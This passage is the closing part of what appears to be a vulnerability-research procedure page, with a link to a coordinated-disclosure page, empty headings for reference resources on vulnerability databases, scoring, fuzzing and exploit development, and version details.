  • [[sop-reporting-packaging-disclosure|Reporting, Packaging & Disclosure]] - Coordinated disclosure mechanics

External & Reference Resources

Vulnerability databases:

Standards & scoring:

Fuzzing & analysis:

Exploit dev & ROP:

Community & primary sources:

Version: 2.0 Last Updated: 2026-04-25 Review Frequency: Quarterly (fuzzing toolchain, mitigation landscape, CVE program updates)